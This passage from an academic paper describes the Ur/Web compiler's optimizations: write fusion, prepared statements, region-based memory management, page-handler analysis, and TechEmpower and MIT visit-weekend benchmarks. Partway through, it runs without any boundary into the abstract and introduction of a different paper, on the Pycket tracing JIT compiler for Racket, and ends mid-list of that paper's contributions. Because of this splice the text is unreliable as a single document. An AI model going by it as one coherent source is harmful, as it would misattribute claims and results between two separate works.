into operations that do a lot of string concatenation. In general, the
page returned by a URL-handler function is a bushy tree of string
concatenations ∧. Thus, the most basic rewrite law is write(e1 ∧
e2) = (write(e1);write(e2)). Another essential one is replacing
an explicit concatenation of two string literals with a single literal,
which is their compile-time concatenation.

Other important rules deal with functions like escape and
stringifyInt, inserted by the SQL and XML combinators to convert
data types into the proper forms for inclusion in code fragments,
which are represented as strings. An application of one of these
functions to a literal is evaluated at compile time into a different
literal. When one of these functions is applied to a nonconstant
value, there may still be optimization opportunities. For instance,
we have the rewrite rule write(escape(e)) = escape w(e), using
the version of escape specialized to write its result imperatively
to the page-output buffer, avoiding allocation of an intermediate
string.

One other essential rule applies to writing results based on SQL
queries. By this point, all queries are reduced to calls to a primitive
function in the style of list folds, of the form query Q (λr, a. e) a0.
We fold over all rows r in the response to query string Q, building
up an accumulator value. We may apply the rule

write (query Q (λr, a. a ∧ e) "")

= query Q (λr, . write(e)) {}

The original expression computes a string of HTML code and then
writes it to the page, while the second version writes each page
chunk as it becomes ready. Applying this rule tends to create more
opportunities for Rewrite transformations within the body of the
fold.

Fuse is the crucial final element of Mono optimization. Its job
is to push write inside calls to recursive functions. Consider the
Ur/Web example of Figure 5, which is a slight simplification of one
of the benchmarks we use in Section 4. This page-handler function
starts by querying a list of all rows in the fortune database table,
using the queryL1 function. Next, it adds a new fortune to the
list and sorts the new list by message text. Finally, it generates
some HTML displaying the fortunes in a table, using List.mapX
to apply an HTML-producing function to each element of a list,
returning the concatenation of all the resulting fragments. Earlier

phases will have produced a specialized version of List.mapX like
the following.

fun mapX’ ls =
case ls of

[] => ""
| f :: ls’ => "<tr>\n<td>" ^ stringifyInt f.Id

^ "</td><td>" ^ escape f.Message
^ "</td>\n</tr>" ^ mapX’ ls

The Fuse optimization activates when a call to a function like
this one, returning a string, is passed immediately to the write
operation. We simply clone a new version of each such function,
specialized to its context of producing page output. For our exam-
ple:

fun mapX’_w ls =
write (case ls of

[] => ""
| f :: ls’ => "<tr>\n<td>" ^ stringifyInt f.Id

^ "</td><td>" ^ escape f.Message
^ "</td>\n</tr>" ^ mapX’ ls)

We then run one pass of Rewrite simplification, resulting in:

fun mapX’_w ls =
case ls of

[] => ()
| f :: ls’ =>

(write "<tr>\n<td>"; stringifyInt_w f.Id;
write "</td><td>"; escape_w f.Message;
write "</td>\n</tr>"; write (mapX’ ls))

Notice that Rewrite has replaced calls to stringifyInt and
escape, which allocate intermediate strings, with calls to the write-
fused stringifyInt w and escape w, which produce their output
directly in the page buffer. The finishing touch is to scan the simpli-
fied function body for calls to the original function, used as argu-
ments to write, replacing each call with a recursive call to the new
function. In our example, write (mapX’ ls) becomes mapX’ w
ls.

3.5 The Cjrize Phase
One of the final compilation steps is translating from Mono to Cjr,
the intermediate language that is very close to the abstract syntax of
C. The gap from Mono is also rather small: the main simplification
is introducing a name for each distinct record type in the program,
to prepare for referencing record types in C as named struct
types. The Cjrize translation fails if any lambdas remain that are
not at the beginnings of val or val rec declarations; that is, we
begin enforcing that functions are only defined at the top level of
a program, after earlier optimizations have removed other explicit
uses of first-class functions.

3.6 Optimizations on Cjr
A crucial phase that runs on Cjr code is Prepare, which spots bits
of SQL syntax that are constructed in regular enough ways that
they can be turned into prepared statements, which are like stati-
cally compiled functions stored in the database engine. Using pre-
pared statements reduces the cost of executing individual queries
and database mutation operations, for much the same reasons that
static compilation can improve performance of conventional pro-
grams. While Ur/Web allows arbitrary programmatic generation of
(well-typed) SQL code, most queries wind up looking like simple
concatenations of string literals and conversions of primitive-typed
values to strings, after all of the Mono optimizations run. The Pre-
pare phase replaces each such string concatenation with a reference
to a named prepared statement, maintaining a dictionary that helps
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find opportunities to reuse a prepared statement at multiple pro-
gram points. Figure 2 showed a prepared statement in action for
our first example. Though this transformation is conceptually very
simple, it delivers one of the biggest pay-offs in practice among
our optimizations, without requiring that Ur/Web programmers pay
any attention to which queries may be amenable to static compila-
tion. In fact, many queries are built using nontrivial compile-time
metaprogramming [5], such that it would be quite burdensome to
predict which will wind up in simple enough forms.

The final compiler phase, translation from Cjr to C, mostly op-
erates as simple macro expansion. The interesting parts have to do
with memory management. Server-side Ur/Web code runs without
garbage collection, instead relying on region-based memory man-
agement [25], where memory allocation follows a stack discipline.
The scheme is not quite as simple as traditional stack allocation
with function-call activation records; the stack structure need not
mirror the call structure of a program. Instead, at arbitrary points,
the program may push a new region onto a global region stack, and
every allocation operation reserves memory within the top region
on the stack. A region may be popped from the stack, which deal-
locates all objects allocated within it, in constant time. Of course,
it is important to enforce restrictions on pointers across regions,
which the original work on regions [25] addressed as a nontrivial
type-inference problem.

Ur/Web follows a much simpler strategy that requires no new
program analysis. A key language design choice is that all mutable
state on the server is in the SQL database. The database does
its own memory management, and it is impossible for server-side
Ur/Web code to involve pointers that persist across page requests.
Therefore, as a simple worst-case scenario, it is always sound to
place the code for each page request in its own region, freeing all
its allocated objects en masse after the page is served. However,
another simple strategy helps us identify profitable regions within
page handlers: any expression of a pointer-free type may be
evaluated in its own region, since there is no way for pointers
to flow indirectly from within an expression to the rest of the code.

We define as pointer-free the usual base types like integers,
records of pointer-free values, and any algebraic datatype where no
constructor takes an argument (which we represent as an enum in
C). The empty record type, the result of e.g. write operations, is a
simple degenerate case of a pointer-free type. Thus, in the common
pattern where a page handler is compiled into a series of write
operations, every write can be placed in its own region. Take the
example of the write for the List.mapX call in Figure 5, which
would already have been optimized into a call to the mapX’ w
function developed at the end of Section 3.4. The generated C code
would look like:

begin_region(ctx);
mapXprime_w(ctx, sort(

{.head = new_fortune, .tail = fs}));
end_region(ctx);

Here sort is a version of the list-sorting library function spe-
cialized to the comparison function passed to it in Figure 5. It will
allocate plenty of extra list cells, not just for the sorted output list,
but also for intermediate lists within the merge-sort strategy that
it follows. However, the sorted list is only used to generate output
via mapXprime w, leading to an empty-record type for the whole
expression. Therefore, the C rendering wraps it in begin- and end-
region operations, so that all of the new list cells are freed immedi-
ately afterward, in constant time. The same optimization can apply
inside of a larger loop (perhaps compiled from a recursive function
at the source level), so that this inferred region allocation can re-
duce the high-water mark of the Ur/Web heap by arbitrarily much.

We note that this simple region-based memory management is
not suitable for all applications. Rather, it is tuned to provide good
performance for typical Web applications that avoid heavy com-
putation, focusing instead on querying data sources and rendering
the results. Many classic applications of functional programming
will be poor fits for the model. For instance, the complex allocation
pattern of a compiler will fall well beyond what Ur/Web’s region
analysis understands, and an Ur/Web program that needs to include
such code is most likely best served by making a foreign function
interface call to another language. Still, for the common case of
Web applications, there are many benefits to the simple memory
regime.

For instance, it allows us to give each server thread a private
heap. An important consequence is that the C code we generate in-
volves no sharing of C-level objects across threads, avoiding syn-
chronization overhead in highly concurrent server operation. Syn-
chronization only occurs in dividing HTTP requests across threads
and in the off-the-shelf database-access libraries that we use. We
also avoid the unpredictable latency of garbage collection. Ur/Web
server-side code follows a transactional model [6], where every
page-handler function call appears to execute atomically. To sup-
port that model, features for aborting and restarting a transaction
(e.g., because the database engine reports a deadlock) are integrated
throughout the compiler and runtime system. An Ur/Web server
thread may run out of space in its private heap, but instead of run-
ning garbage collection in that situation, we simply allocate a new
heap of twice the original size and abort and restart the transaction.
Thread heaps do not shrink, so a given thread can only experience
a few such restarts over its lifetime.

Another optimization avoids redundant memory allocation con-
nected to processing results of database queries. Figure 2 showed
the basic sort of code that we generate for queries, iterating over
results using a cursor into query results. We simplified a bit in that
figure, as our actual code generation will define an explicit record
for each query result, relying on the C optimizer to inline record-
field values as appropriate, leading to code more like the following
for the query portion of Figure 2:

Cursor c = prepared(ctx, "stmt1", cat, NULL);
if (has_error(c)) error(ctx, error_msg(c));
Row r;
while (r = next_row(c)) {
stmt1_row sr = {.id = atoi(column(r, 0)),

.text = uw_strdup(ctx,
column(r, 1))};

/* ...code using ’sr’... */
}

Notice that we conservatively duplicate the value of one column
using uw strdup, a function that creates a copy of a string in the
thread’s local heap. A string returned directly by column may live
within a buffer that will be reused when we advance the cursor with
next row, so in general we have to copy to avoid unintended alias-
ing. However, when the query loop maintains an accumulator of
pointer-free type, it is sound to skip the uw strdup operations, be-
cause there is no place that the body could hide a string. Compared
to inferring region boundaries, here we are even more generous,
applying the no-duplication optimization whenever the accumula-
tor type of the loop does not mention the string type transitively.
The empty-record type associated with the loop above is more than
simple enough to enable that optimization, as would be e.g. an in-
teger recording the sum of lengths of strings returned by column.

3.7 Classifying Page Handlers
The compiler employs one last category of simple program analysis
and optimization, providing outsized benefits where applicable.
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A single application may contain page-handler functions that use
different subsets of the language features, with associated runtime
set-up costs for particular mixes of features. We want to avoid those
costs on page views that do not use associated features.

Since ours is a whole-program compiler, we approximate the
key properties in terms of graph reachability in a graph whose
nodes are top-level identifiers, e.g. of functions, and where an
edge connects identifier A to identifier B when the definition of
A mentions B. Mutually recursive definitions may induce self-
loops or longer cyclic paths. In this general framework, we answer
a number of questions about each page handler.

Client-side scripting? A page with client-side scripting must in-
clude a reference to Ur/Web’s client-side runtime system, imple-
mented in JavaScript. We also include, with the runtime system,
compiled JavaScript versions of all recursive Ur/Web functions
used in client code in the particular application. When a page
handler will not generate any client-side scripting, we can skip
the expense of conveying the runtime system. To sniff out client-
side scripting, we first add a label to any graph node whose def-
inition contains string literals with certain red-flag contents, like
"<script", the HTML tag for embedded JavaScript. Then we ask,
can the node for this page handler reach any labeled identifier?

Asynchronous message-passing? Ur/Web also supports asyn-
chronous message-passing from server to clients [6]. This feature
creates even more overhead than basic scripting, on both server and
client. The server maintains a mailbox for each client that might re-
ceive messages, and the client must open a separate, long-lived
HTTP connection to the server for message delivery. The question
we ask, to see if we can avoid creating a mailbox for a page handler,
is, can the node for this page handler reach the standard-library
function that allocates a message-passing channel?

Read-only transactions? Highly concurrent applications rely on
the underlying SQL database engine to find parallelism opportu-
nities in the execution of concurrent transactions. The overhead of
locking and so forth may be significant. If a page handler reads the
database but does not change it, the SQL engine may employ less
expensive concurrency management, but it needs to be warned in
advance of the first read operation. Our compiler tags these page
handlers so that they initiate transactions marked explicitly as read-
only, based on the question, can the node for this page handler
reach the standard-library function for database modifications?

Single-command transactions? Creating and committing a trans-
action each incur one extra communication with the database en-
gine. If a page handler can only involve at most one database op-
eration, however, transaction initialization and teardown can be
combined with that single operation, if and when it is sent to the
database, without breaking the transactional abstraction. To analyze
the possibilities, we first label each identifier according to a simple
lattice: NoDb, when its definition does not mention database func-
tions; OneQuery, when its definition mentions a database function
exactly once, not inside of a query loop (the only form of in-place
iteration that Ur/Web supports); and AnyDb otherwise. We mark a
page handler to skip separate transaction set-up based on the ques-
tion, does the node for this page handler have no path to any node
marked AnyDb and have no two distinct paths to nodes marked
OneQuery?

Dependency on implicit context from browsers? Web browsers
often send state implicitly on behalf of clients. For instance, cookies
are a venerable means of storing key-value pairs on clients, such
that owning servers may modify them, and the client always sends
the latest values when contacting those servers. This sort of implicit
context may enable a kind of security problem called cross-site
request forgery. For instance, Alice may send Bob a URL labeled

Table 1. Performance comparison with other Web frameworks,
with Ur/Web’s ranking for each statistic

Test Throughput (kreq/s) Latency (ms/req)
fortune 219 (2/103) 1.09 (2/103)

db 154 (7/154) 1.54 (5/154)
query 10 (23/151) 23.5 (40/151)
update 0.4 (85/102) 2050 (98/102)
json 387 (19/147) 0.61 (15/147)

plaintext 603 (21/109) 1020 (22/109)

as “cute cat photos” but which actually points to a URL at Bob’s
bank standing for “transfer $1000 to Alice.” Alice does not know
Bob’s bank credentials, so she could not get away with making
the request herself. However, it is possible that Bob’s browser is
storing a credentials cookie that will be enough to satisfy his bank.
To rule out such attacks, Ur/Web arranges to send a cryptographic
signature over all implicit context that it might read along with
each legitimate request, where only the server knows the private
signing key. (Whole-program analysis makes it easy to compute an
upper bound on the set of cookies that might be read.) To avoid
the expense of unnecessary cryptography, we ask for each page
handler, can its node both reach some node that reads a cookie (or
other source of implicit context) and reach some node that writes
to the database or to a cookie?

Persistent side effects? The HTTP standard defines several differ-
ent sorts of client-to-server requests, including GET, which should
not be allowed to cause persistent side effects on the server; and
POST, which may cause effects. Browsers will take these seman-
tics for granted, for instance by warning the user when reloading a
POST page, as irrevocable actions may be repeated unintentionally,
but issuing no warning for a GET page. In Ur/Web applications, reg-
ular links produce GET requests, while all other requests use POST.
To ensure compliance to the standard (with explicit escape-hatch
options when the programmer intended to disobey), the compiler
will warn when it computes the wrong answer to the question, can
this node, which is the target of a link, reach a node that writes to
the database or to a cookie?

4. Evaluation
As reported previously [6], Ur/Web is in production use for a few
different Web applications. One of them, BazQux Reader1, has
thousands of paying customers. It is a reader for syndicated web
content (e.g., RSS) with comments. Its usual load is around 10
HTTP requests/second, with busy-period peaks above 150 request-
s/second. It does not seem that any of the publicly deployed appli-
cations are pushing the limits of Ur/Web server performance yet,
but they at least provide an existence proof for a reasonably ef-
fective compiler for a purely functional Web language based on
dependent type theory.

To measure performance more, under more trying conditions,
we turn now to some microbenchmarks and one application de-
ployed internally within MIT.

4.1 The TechEmpower Web Framework Benchmarks
The TechEmpower Web Framework Benchmarks2 compare the
popular Web application frameworks for performance. They are
not run by the author of this paper, and they are driven by a healthy
spirit of competition among framework fans: the supporters of each
framework contribute benchmark implementation code on GitHub,

1 http://www.bazqux.com/
2 http://www.techempower.com/benchmarks/
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and poorly written implementations for popular frameworks rarely
survive for long. The latest results measure 118 different frame-
works, including substantially all of the most popular ones written
in C, C#, C++, Haskell, Java, JavaScript, PHP, Python, Ruby, and
Scala.

The current results involve 6 different benchmarks:

• fortune, the closest to a full Web application (and the inspira-
tion for Figure 5): read the contents of a database table, add one
new row to an in-memory representation of the contents, sort it
by numeric key, and render the results as an HTML table

• db: make one simple query for a random row of a database table
• query: repeat the db query 20 times
• update: repeat the db query 20 times, also randomly mutating

each queried row and writing it back to the database
• json: render a “hello world” string in the JSON serialization

format
• plaintext: return “hello world” as plain text (this test also

pushes the concurrency level higher than the others, challenging
the ability of most frameworks to stay responsive)

Here we note that 4 out of 6 tests work in the relatively new
style of exposing Web services whose outputs are designed to be
processed by other programs, rather than seen directly by humans;
and Ur/Web provides good support for that style of application.
A library uses type-safe compile-time metaprogramming for pars-
ing and generation of JSON-format strings from native values, and
the same optimizations outlined above apply just as well to JSON
generation as to HTML generation. For instance, while JSON gen-
eration is coded as purely functional construction of strings, the
optimizations from Section 3.4 will translate to imperative code
that appends to a buffer incrementally. Ur/Web also includes native
support for presenting such API calls as typed function calls within
client-side Ur/Web code, using Ur/Web’s own serialization format
that the compiler is especially adept at manipulating efficiently,
though the TechEmpower Benchmarks do not test that function-
ality.

TechEmpower runs the tests on 3 servers, one each for Web ap-
plication, SQL database, and simulated client. Each server is iden-
tical, supporting 40 simultaneous hardware threads. More informa-
tion on the platform is available on the benchmarks Web site.

Here we give results for Ur/Web running with the PostgreSQL
database, though a version with MySQL is also entered into the
comparison. The Ur/Web implementation is compiled into a stan-
dalone HTTP server. Table 1 summarizes Ur/Web’s standing on the
different tests in Round 10 of the benchmarks, released on April 21,
2015. For each test, we give Ur/Web’s throughput (as thousands of
requests per second) and latency (as average delay in milliseconds
per request). We also give Ur/Web’s ranking within the entrants for
each statistic.

For the fortune test, which is closest to a real Web application,
out of 103 entrants, Ur/Web is narrowly outperformed by one other
framework, implemented in C++, to score second best for both
throughput (about 220,000 requests per second) and latency (about
1 millisecond to serve one request), beating out, e.g., several other
implementations using C and C++.

Ur/Web is also near the head of the pack for the db test, involv-
ing a single SQL query; and the query test, involving 20 queries.
In the latter case, we pay a performance penalty for Ur/Web’s per-
vasive use of transactions [6], as Ur/Web runs extra database com-
mands to begin and end a transaction on each request. However,
the optimization from Section 3.7 allows the compiler to skip those
commands for fortune and db, which run just one database com-
mand per request. Almost all other frameworks do not bother to
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Figure 6. Performance scaling results for Visit application

provide transactional semantics. The performance hit for transac-
tions is particularly severe on the update test, where Ur/Web is
near the bottom of the rankings; though we note that this workload,
with tens of simultaneous requests making 20 random database
updates each, is rather unrealistic compared to most applications.
Ur/Web also places respectably for the json and plaintext tests,
which return constant pages without consulting the database.

The TechEmpower results are not currently highlighting any
statistics related to programmer productivity, but such information
seems important to put performance numbers in context. Ur/Web’s
main competition in the database tests are applications written
in C, C++, and Java. Their corresponding source code is always
at least twice as long as Ur/Web’s. We also expect that fans of
functional programming would feel, perhaps just subjectively, that
the functional Ur/Web code is easier to understand. Readers may
judge for themselves by examining the project GitHub repository3,
where the more involved tests like fortune are the best starting
points for comparison, since they require enough code to surface
interesting differences between frameworks.

Overall, we conclude from these benchmark results that purely
functional programming languages can offer extremely com-
petitive performance in concert with domain-specific compiler
optimizations.

4.2 The PhD Visit Weekend Application
We built and deployed an Ur/Web application4 to manage our aca-
demic department’s yearly visit weekend for students admitted into
our PhD program. The application includes complicated interre-
lated pieces of functionality. There are four classes of users:

1. Admins, who oversee the process, with read and write access
to all data

2. Faculty, who arrange meetings with admitted students, sign up
to give short research talks, RSVP for research-area dinners (in-
cluding giving dietary constraints), and, during the visit week-
end itself, see live updates of their personal schedules

3. Admitted students, who sign up for hotels and other travel
details, indicate preferences for meeting with particular faculty,
indicate when they are unavailable for meetings, RSVP for
dinners, and, during the weekend itself, see live updates of their
personal schedules

4. Current students, who RSVP for dinners

3 E.g., the Ur/Web code in https://github.com/TechEmpower/
FrameworkBenchmarks/blob/master/frameworks/Ur/urweb/
bench.ur
4 A version of the source code, simplified to work outside of MIT: https:
//github.com/achlipala/upo/blob/master/examples/visit.ur

19

https://github.com/TechEmpower/FrameworkBenchmarks/blob/master/frameworks/Ur/urweb/bench.ur
https://github.com/TechEmpower/FrameworkBenchmarks/blob/master/frameworks/Ur/urweb/bench.ur
https://github.com/TechEmpower/FrameworkBenchmarks/blob/master/frameworks/Ur/urweb/bench.ur
https://github.com/achlipala/upo/blob/master/examples/visit.ur
https://github.com/achlipala/upo/blob/master/examples/visit.ur


A variety of bits of nontrivial functionality cut across user
classes, including grids for live collaborative editing of the meeting
schedule, grouped by faculty or by admitted student (maintaining
consistency across the two views); and live RSVP summaries for
the different dinners, listing who is going and their dietary restric-
tions. The application-specific code amounts to about 600 lines of
Ur/Web, relying on a library we are developing for custom event-
organizer applications. The server program is compiled via about
30,000 lines of generated C code, including about 100 distinct SQL
prepared statements.

We benchmarked the performance of the server under increas-
ing numbers of users. In these experiments, the application was
compiled to a standalone HTTP server, while our deployment in-
stead connects to Apache via the FastCGI protocol for easier man-
ageability. We generated random data, parameterized on N :

• 8 different time slots for faculty-student meetings
• 10 different research-area dinners
• N different faculty or current-student users, split randomly

between the two categories
• N different admitted students
• 8N different randomly selected faculty-student meetings

For each tested value of N , we used wrk (the same benchmark
tool5 from the TechEmpower Benchmarks) to repeatedly hit the
main entry-point URL for each user class: admins, faculty, and
admitted and current students. Each benchmark first chooses a
random user in the appropriate class to authenticate as via cookies.
So, each N value leads to benchmarking of 4 different URLs
with appropriate cookies. We hit each URL for 5 seconds with 8
concurrent client connections, each with its own OS thread. The
benchmarker, application, and PostgreSQL 9.1 database server all
run on the same workstation, which has 8 1.4-GHz AMD FX cores
and 32 GB of RAM. The RAM does not turn out to be a limiting
factor, as the server only has 2.4 GB of resident memory after the
most demanding test.

Figure 6 summarizes our throughput results for different N
values from 10 to 1000. The views for admins and current students
hold pretty steady near 1000 requests/second. The faculty view
begins with the highest throughput of around 6500 requests/second
for N = 10, falling to only about 10 requests/second with N =
1000. The admitted-student view starts near 1000 requests/second
and also falls to about 10 requests/second. Parameter N = 100
approximates our real deployment, and there all user classes see
on the order of 1000 requests/second, which is well above what we
need in the field for this application. We expect that the degradation
seen for higher N is mostly a function of the inherent inefficiency
of constructing an 8×N×N matrix to record the meeting schedule.

Overall, the results compare favorably to the baselines estab-
lished by the TechEmpower Benchmarks, where the best through-
put for a 20-query microbenchmark is about 15,000 requests/sec-
ond. The Visit application makes a comparable number of queries,
does much more involved processing on the results, and is be-
ing benchmarked using a total of 8 hardware threads, as opposed
to 120 hardware threads in the TechEmpower Benchmarks; yet
for N = 50 we remain within about an order of magnitude of
those best-in-class results. This comparison is effectively between
Ur/Web and all of the most popular Web frameworks, thanks to
broad participation in the TechEmpower Benchmarks.

This application was used for MIT’s 2015 visit weekend for
admitted computer-science PhD students, serving an audience of
about 100 faculty and about 100 admitted students. The application
ran on a virtual machine provided by our laboratory, with 2 GB of

5 https://github.com/wg/wrk

RAM and 2 virtual CPU cores. Peeking at the server process at an
arbitrary point, when it had been running continuously for a few
days, we saw that its resident-set memory footprint was only about
10 MB. Unsurprisingly given the small set of users, there were
no issues with server-side scaling. Therefore, our more modest
conclusion from this experiment is that with the right compiler
support, server-side performance need not be an impediment
to deploying a realistic application, with hundreds of users,
written in a purely functional language based on dependent
type theory.

5. Related Work
SMLserver [11] supports a similar style of Web programming
within the Standard ML language. It uses the ML Kit compiler,
which does type inference to infer region structure, allowing some
of the same memory-optimization tricks as Ur/Web employs. It
also runs many server threads with their own private memory ar-
eas, to promote locality for performance and programming simplic-
ity. There are both benefits and costs to SMLserver’s embedding
within a general-purpose ML implementation: it is easier to reuse
existing libraries, but there are no domain-specific optimizations.
As SMLserver was first described more than 10 years ago [11],
it is hard to do a direct performance comparison with Ur/Web,
but a direct unfair comparison of “hello world” programs shows
a 2015 Ur/Web server (from the TechEmpower Benchmarks re-
sults) supporting approximately 500× better throughput than a
2003 SMLserver application (as reported in a paper [11]).

Hop [24] is another unified Web programming language, dy-
namically typed and based on Scheme. Hop has no distinguished
database integration, instead supporting access to a variety of
database systems via libraries. Hop servers support a novel means
of configurable concurrency for pipeline execution [23], which has
been shown to provide Web-serving performance comparable with
well-known daemons like Apache. Hop also does efficient compi-
lation of client-side code to JavaScript [15].

Links [7] is a pioneering language that introduced the tier-
less style that Ur/Web also adopts. Rather than exposing SQL di-
rectly, the Links implementation compiles more Haskell-style id-
iomatic query-comprehension code into SQL, possibly with multi-
ple queries from a single comprehension. A static type system [4]
characterizes which queries are susceptible to normalization via
rewrite rules, such that a single SQL query always results.

A variety of other practical Web application frameworks have
been built around functional languages, including the PLT Scheme
Web Server [14], Seaside [9], and Ocsigen [1, 2]. Several Haskell
and Scala frameworks, and one Racket framework, are included in
the TechEmpower Benchmarks and thus covered by Table 1. To
our knowledge, Ur/Web’s implementation is the first application of
whole-program optimizing compilation to a domain-specific Web
language.

The MLton optimizing compiler [29] has been our inspiration
in designing our compiler. Ur/Web’s compiler goes further than
MLton in generating low-level code that does not use garbage col-
lection, while also simplifying many phases by avoiding dataflow
analysis in favor of algebraic rewriting. Orthogonally, we also ap-
ply domain-specific optimizations connected to HTML generation
and SQL interaction, producing code that outperforms most C and
C++ implementations in the TechEmpower Benchmarks.

Our compiler applies many other established ideas from opti-
mization of functional programs. The general technique of defor-
estation [26] inspires our Fuse optimization, which admits a sub-
stantially simpler implementation because it is specialized to a par-
ticular common case. The low-level memory management strategy
is inspired by region type systems [25] but requires much less so-
phisticated compile-time analysis, thanks in part to Ur/Web’s un-
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usual combination of purity with an SQL database. Our compiler
applies lambda lifting [18], call-pattern specialization [17], and al-
gebraic simplification [19] in much the way made popular by the
Glasgow Haskell Compiler.

6. Conclusion
A fundamental tension in the design of programming languages is
between the convenience of high-level abstractions and the perfor-
mance of low-level code. Optimizing compilers help bring the best
of both worlds, and in this paper we have shown how an optimiz-
ing compiler can provide very good server-side performance for dy-
namic Web applications compiled from a very high-level functional
language, Ur/Web, based on dependent type theory. Some of our
optimization techniques are domain-agnostic, as in compile-time
elimination of higher-order features. Other crucial techniques are
domain-specific, as in understanding generation of HTML pages,
database queries, and their effect interactions. With all these fea-
tures combined, the Ur/Web compiler produces servers that out-
perform all (or almost all) of the most popular Web frameworks on
key microbenchmarks, and Ur/Web has also been used successfully
in deployed applications with up to thousands of users. The tech-
niques we suggest are simple enough to reimplement routinely for
a variety of related domain-specific functional languages.

One Achilles heel of whole-program compilers, and certainly
of ours, is poor compile-time performance. For instance, our Visit
application takes about 30 seconds to compile for production use.
In a sense, Ur/Web is shifting performance costs from runtime to
compile-time, which is often the right trade-off; but we still hope
to improve compilation performance. We plan to study domain-
specific languages for compilation that make it easy to develop new
implementations like ours, doing whole-program analysis of the
suite of algebraic transformations and optimizations to find ways
to fuse them together and otherwise avoid overheads.
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Abstract
We present Pycket, a high-performance tracing JIT compiler for
Racket. Pycket supports a wide variety of the sophisticated fea-
tures in Racket such as contracts, continuations, classes, structures,
dynamic binding, and more. On average, over a standard suite of
benchmarks, Pycket outperforms existing compilers, both Racket’s
JIT and other highly-optimizing Scheme compilers. Further, Pycket
provides much better performance for Racket proxies than existing
systems, dramatically reducing the overhead of contracts and grad-
ual typing. We validate this claim with performance evaluation on
multiple existing benchmark suites.

The Pycket implementation is of independent interest as an ap-
plication of the RPython meta-tracing framework (originally cre-
ated for PyPy), which automatically generates tracing JIT compilers
from interpreters. Prior work on meta-tracing focuses on bytecode
interpreters, whereas Pycket is a high-level interpreter based on the
CEK abstract machine and operates directly on abstract syntax trees.
Pycket supports proper tail calls and first-class continuations. In the
setting of a functional language, where recursion and higher-order
functions are more prevalent than explicit loops, the most significant
performance challenge for a tracing JIT is identifying which control
flows constitute a loop—we discuss two strategies for identifying
loops and measure their impact.

Categories and Subject Descriptors E.2 [Data Storage Represen-
tations]: Object Representation; D.3.3 [Programming Languages]:
Language Constructs and Features; D.3.4 [Programming Lan-
guages]: Processors—Compilers

General Terms Experimentation, Languages, Measurement, Per-
formance

Keywords JIT compilers, contracts, tracing, functional languages,
Racket

1. Introduction
Contemporary high-level languages like Java, JavaScript, Haskell,
ML, Lua, Python, and Scheme rely on sophisticated compilers to
produce high-performance code. Two broad traditions have emerged
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in the implementation of such compilers. In functional languages,
such as Haskell, Scheme, ML, Lisp, or Racket, ahead-of-time
(AOT) compilers perform substantial static analysis, assisted by
type information available either from the language’s type system
or programmer declarations. In contrast, dynamic, object-oriented
languages, such as Lua, JavaScript, and Python, following the
tradition of Self, are supported by just-in-time (JIT) compilers which
analyze the execution of programs and dynamically compile them
to machine code.

While both of these approaches have produced notable progress,
the state of the art is not entirely satisfactory. In particular, for
dynamically-typed functional languages, high performance tra-
ditionally requires the addition of type information, whether in
the form of declarations (Common Lisp), type-specific operations
(Racket), or an additional static type system (Typed Racket). Fur-
thermore, AOT compilers have so far been unable to remove the
overhead associated with highly-dynamic programming patterns,
such as the dynamic checks used to implement contracts and grad-
ual types. In these situations, programmers often make software
engineering compromises to achieve better performance.

The demand for improved performance in Java and JavaScript
has led to considerable research on JIT compilation, including
both method-based (Paleczny et al. 2001) and trace-based ap-
proaches (Gal et al. 2009). The current industry trend is toward
method-based approaches, as the higher warm-up time for tracing
JITs can have particular impact on short-running JavaScript pro-
grams. However, for languages with different workloads, such as
Python and Lua, tracing JITs are in widespread use (Bolz et al.
2009).

To address the drawbacks of AOT compilation for functional
languages, and to explore a blank spot in the compiler design space,
we present Pycket, a tracing JIT compiler for Racket, a dynamically-
typed, mostly-functional language descended from Scheme. Pycket
is implemented using the RPython meta-tracing framework, which
automatically generates a tracing JIT compiler from an interpreter
written in RPython (“Restricted Python”), a subset of Python.

To demonstrate the effectiveness of Pycket, consider the follow-
ing function computing the dot product of two vectors in Racket.
Dot product is at the core of many numerical algorithms (Demmel
1997) and we use it as a running example throughout the paper.

(define (dot u v) (for/sum ([x u] [y v]) (* x y)))

This implementation uses a Racket comprehension, which iterates
in lockstep over u and v, binding their elements to x and y, respec-
tively. The for/sum operator performs a summation over the values
generated in each iteration, in this case the products of the vector
elements. This dot function works over arbitrary sequences (lists,
vectors, specialized vectors, etc) and uses generic arithmetic.

In Racket, the generality of dot comes at a cost. If we switch
from general to floating-point specific vectors and specialize the
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iteration and numeric operations, dot runs 6× faster. On the other
hand, if we increase safety by adding contracts, checking that the
inputs are vectors of floats, dot runs 2× slower.

In Pycket, the generic version runs at almost the same speed as
the specialized version—the overhead of generic sequences, vectors,
and arithmetic is eliminated. In fact, the code generated for the inner
loop is identical—the performance differs only due to warm-up.
Pycket executes the generic version of dot 5 times faster than the
straightforwardly specialized version in Racket and 1.5 times faster
than manually optimized code. Further, with the help of accurate
loop-finding using dynamic construction of call graphs, Pycket
eliminates the contract overhead in dot—the generated inner loop
is identical to dot without contracts.

With Pycket, we depart from traditional Lisp and Scheme com-
pilers in several of ways. First, we do no AOT optimization. The
only ahead-of-time transformations performed by Pycket are con-
verting from core Racket syntax to A-normal form and converting
assignments to mutable variables to heap mutations. We present
an overview of Pycket’s architecture and key design decisions in
section 2.

Second, Pycket performs aggressive run-time optimization by
leveraging RPython’s trace-based compilation facilities. With trace-
based compilation, the runtime system starts by interpreting the
program and watching for hot loops. Once a hot loop is detected, the
system records the instructions executed in the loop and optimizes
the resulting straight-line trace. Subsequent executions of the loop
use the optimized trace instead of the interpreter. Thus, Pycket
automatically sees through indirections due to pointers, objects,
or higher-order functions. We present background on tracing in
section 3 and describe changes that we applied to the interpreter
to improve tracing in section 5.

Functional languages such as Racket pose a significant challenge
for trace-based compilation because their only looping mechanism
is the function call, but not all function calls create loops. Tracing
JITs have used the following approaches to detect loops, but none
of them is entirely adequate for functional languages.

• Backward Branches: Any jump to a smaller address counts as a
loop (Bala et al. 2000). This approach is not suitable for an AST
interpreter such as Pycket.

• Cyclic Paths: Returning to the same static program location
counts as a loop (Hiniker et al. 2005). This approach is used in
PyPy (Bolz et al. 2009), but in the context of Pycket, too many
non-loop code paths are detected (Section 4).

• Static Detection: Identify loops statically, either from explicit
loop constructs (Bebenita et al. 2010) or through static analysis
of control flow (Gal and Franz 2006).

• Call Stack Comparison: To detect recursive functions, Hayashizaki
et al. (2011) inspect the call stack to determine when the target
of the current function call is already on the stack.

Section 4 describes our approach to loop detection that combines a
simplified form of call-stack comparison with an analysis based on
a dynamically constructed call graph.

Overall, we make the following contributions.

1. We describe the first high-performance JIT compiler for a dy-
namically typed functional language. (Section 2)

